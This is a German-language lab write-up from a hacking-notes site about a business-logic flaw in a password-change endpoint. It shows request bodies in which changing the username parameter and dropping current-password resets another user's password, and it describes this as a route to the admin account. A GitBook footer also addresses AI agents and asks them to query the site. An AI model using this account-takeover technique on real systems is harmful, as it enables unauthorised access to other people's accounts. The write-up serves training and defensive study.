> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/business-logic/low-isolation-on-a-dual-use-endpoint.md).

# Geringe Isolation an einem Dual-Use-Endpunkt

### Schwache Isolation an einem Dual-Use-Endpunkt

**Beschreibung des Labs**

Dieses Labor basiert auf einer fehlerhaften Annahme bezüglich des Privilegienniveaus des Benutzers, die nur auf den vom Client gesendeten Parametern beruht. / Durch Ausnutzen eines logischen Fehlers in der Kontoverwaltungsfunktion ist es möglich, die Kontrolle über beliebige Konten zu übernehmen, einschließlich des Administratorkontos.

\*\* Ziel:\*\*/ Auf das Admin-Konto zugreifen und Benutzer löschen **carlos**.

**Anmeldeinformationen bereitgestellt:**

* Benutzer: `wiener`
* Passwort: `peter`

<figure><img src="/files/e3aaf8df444f05a640faf0ce29df35738ce03907" alt=""><figcaption></figcaption></figure>

**Beobachtung des Passwortänderungsmechanismus**

Sobald mit dem `wiener` Konto verbunden, gibt es eine Funktion, mit der Sie das Passwort ändern können. / Die an den Server gesendete Anfrage lautet wie folgt:

```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=wiener
&current-password=peter
&new-password-1=jordan
&new-password-2=jordan
```

Der Server verwendet den `Benutzernamen` vom Client bereitgestellten Parameter, um das zu ändernde Konto zu bestimmen.

<figure><img src="/files/a20d225d697f4135f11e58d5af7bdde85f9c7271" alt=""><figcaption></figcaption></figure>

**Ausnutzung des logischen Fehlers**

Durch Ändern der Abfrage ist es möglich, ein anderes Benutzerkonto anzuvisieren.

<figure><img src="/files/091da5c353fe98dc7c9a7902937d9a4b519a84c0" alt=""><figcaption></figcaption></figure>

Außerdem wird der `current-password` Parameter wird nicht ordnungsgemäß überprüft.

Geänderte Benutzeranfrage **carlos**:

{% code overflow="wrap" %}

```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=carlos
&new-password-1=jordan
&new-password-2=jordan
```

{% endcode %}

<figure><img src="/files/3d2bbb2ae5909f25c10a7849e509da5d1d4fd295" alt=""><figcaption></figcaption></figure>

Der Server akzeptiert die Anfrage und ändert das Passwort des Kontos **carlos**, ohne das alte Passwort zu verlangen.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/business-logic/low-isolation-on-a-dual-use-endpoint.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
